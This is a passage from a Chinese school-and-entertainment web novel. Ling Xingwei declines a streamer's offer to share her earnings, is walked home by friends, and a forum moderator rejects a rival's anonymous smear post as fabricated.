Amy一时有些迷茫,有些话也不知当讲不当讲。
但短暂迷茫过后她还是讲了:“我给导演组推荐了下一期的嘉宾,是我的一个高材生朋友,我准备跟你说这个事情呢,我把你推荐过去给他,你下一期当辅助嘉宾怎么样?”
凌杏薇有些心动,但她还是觉得:“算了吧,网络上的恶评太多,我怕影响到我的家人和朋友。”
她说着,将手机举到Amy面前,手机屏幕呈现着网上现在发酵的言论。
“要不我给你打点钱吧?!”Amy突然想到一件事,“我能有现在的热度全靠你的点子,火了之后我分一半钱给你都不过分!”
“那是你的钱。”凌杏薇却很坚定摇了摇头。
“你当时肯帮我揭露真相,我就已经很感激了。至于你能靠这件事为你的事业获得多大的助力与我无关那都是你应得的报酬。”
其实凌杏薇当初找这个能在网络上揭发孙家的突破口也很艰难,大网红怕蹚浑水,小网红更是没理由帮她。
当时的凌杏薇支付不起请小网红发声发视频的费用,只有Amy肯分币不收自愿帮她。
见这事说得差不多了,凌杏薇适时提起:“考研的事情,你考虑一下?”
Amy囧,但还是很给面子地点点头,好像真的想要认真思考一番:“我回去就好好想想,过几天给你答复。”
凌杏薇有些哭笑不得:“我只是建议,如果你有其他的职业规划,自然也可以不用听我的建议。”
“当然要认真听!你可是我的恩人!”Amy不认可她的说法。
“我在事业低谷期这么多年,直播每个月赚到的钱只够我生计,每天日子都过得紧巴巴。你就像天使降临,是你告诉我怎么样可以获得更正向更源源不断的热度,我能有现在的一切,你才是大功臣啊!”
凌杏薇不太擅长应对来自旁人如此直白的“告白”,她不自然地咳嗽两声,面带羞涩,无措地轻轻说了几声“好”。
但上天待她不薄,在这个时候也有属于凌杏薇的天使从天而降来解救她的无措。
“杏薇学妹?”这是一道声线清冷的女声,凌杏薇有些熟悉。
转头一看,还真是熟人。
“语兮学姐?”
楚语兮气质清灵,眼眸微弯时,眼底荡漾着几分温柔:“你的朋友在外面等你。”
“我在外面吹冷风等你可久,倒也不见你这么热心关心关心我?”
这道尾音上扬的声音紧跟着响起,紧接着就看见一道招摇的身影出现在眼前。
是程衍,柠城一中远近闻名出了名的校霸。
“学妹,话带到了,我就先走了。”
楚语兮根本没看程衍一眼,只对凌杏薇颔首留下一句话就径直离开。
气氛一时之间有些微妙。
柠城一中校园墙有两则大胆张扬又远近闻名的追爱事迹。
第一则是高二的凌杏薇追唐叙朝。
第二则是高三的程衍追楚语兮。
看着程衍跟在楚语兮身后追出去的身影,凌杏薇定了定神,转头跟Amy道别:“姐姐,那我就先走了。”
“好,考研的事情我考虑好了晚点联系你给你答复。”
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场馆外黑云遮日,阴天密布。
这样压抑的天空将整座城市来去的居民笼罩,莫名惹得大家人心惶惶,仿佛在催促说着“快回家吧!我马上要发脾气下暴雨啦!”这样的话。
凌杏薇走出场馆的瞬间
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,第一眼看见的就是一排一字排开站在台阶下的三人。
宋棋打头:“恭迎大小姐回宫!”
余瑶开团秒跟:“杏薇,我们来接你啦!”
顾舟眠朝她颔首:“录制顺利,恭喜。”
顾舟眠这话一出,所有人都不约而同看向他。
顾舟眠挑眉回望过去:“怎么?”
宋棋跟他勾肩搭背:“你小子说这么官方?”
“不然?”
“快重新说!”
凌杏薇看着他们插科打诨,无奈笑着,一步一阶往下走:“好意心领了,谢谢你们特意来一趟接我呀。”
余瑶迎了上来,挽起她的胳膊:“今天的录制辛苦了,杏薇你今天回去早些休息呀。”
“因为网上的评论?”凌杏薇知晓原因,听见这句话心中暖洋洋的。
“咱就是一个闷头往前走!打的就是他们那种不懂瞎说之人的脸!”宋棋气愤填膺,“今天的直播一出,咱学校那些质疑的声音很快就能闭嘴了……”
有宋棋在,她们一路上都是叽叽喳喳说过来的。
天色渐暗,乌云压顶,所幸她们路途不远,估算着可以在下雨之前赶到家里。
短暂分道扬镳之后,是顾舟眠和凌杏薇的独处路段。
“顾舟眠,我今天站在台上面对众多直播设备和摄像头的时候,忽然想到了从前。”
顾舟眠眼神闪烁:“想到了从前的什么?”
“我在想啊,这样万众瞩目的时刻,竟然让我感到一种久违的感觉。”
“仿佛过了一个世纪,我又回到了从前。”
顾舟眠说:“乌云或许会暂时遮住月亮,但月亮不会永远埋没于云层。”
他说着,抬眼看了眼天空。
阴雨绵绵,他们站在楼道口,看外面小雨落在身前不远处,厚厚的云层遮掩半边明月。
夜空阴沉,明月失色,但总有人仰望夜空,盼望窥见余晖半边皎洁。
与此同时,远在淮城的孙倩修改了自己原先的ID名,进入柠城一中的校园论坛编辑帖子。
柠城一中的校园论坛有专门的管理员后台管控,而发帖人虽然可以匿名,但也是需要靠学号和密码登陆网站才能发言发帖的。
而孙倩现在用的是别人的学号。
[标题:拜托,究竟是谁对凌杏薇这种人有所改观啊!]
[发帖内容:
被质疑真实成绩的第一时间不是为自己澄清而是选择上节目,还是这种知识竞赛节目?
她现在如愿得到一些正面评价,进而让她在学校的风评也逆转了。
据我所知这种节目嘉宾自行邀请的嘉宾都是成绩顶尖的那批学生,为什么刚刚好就挑到了凌杏薇?
此人用的什么心思不用我多说了吧!亏得还有一些不明真相的人竟然选择相信她,她对得起这么多被蒙在鼓里选择信任她的同学吗?]
作为论坛发帖管理员之一,第一个看见校园论坛上这条帖子的人,是路茴。
鼠标原本停在管理员需要审核的页面上,点进需要审核的发帖内容后,又刚好落在通过和驳回两个不同的字样中间。
路茴滑动鼠标,按下了论坛发帖的驳回键。
驳回理由:[捏造事实,不予通过。]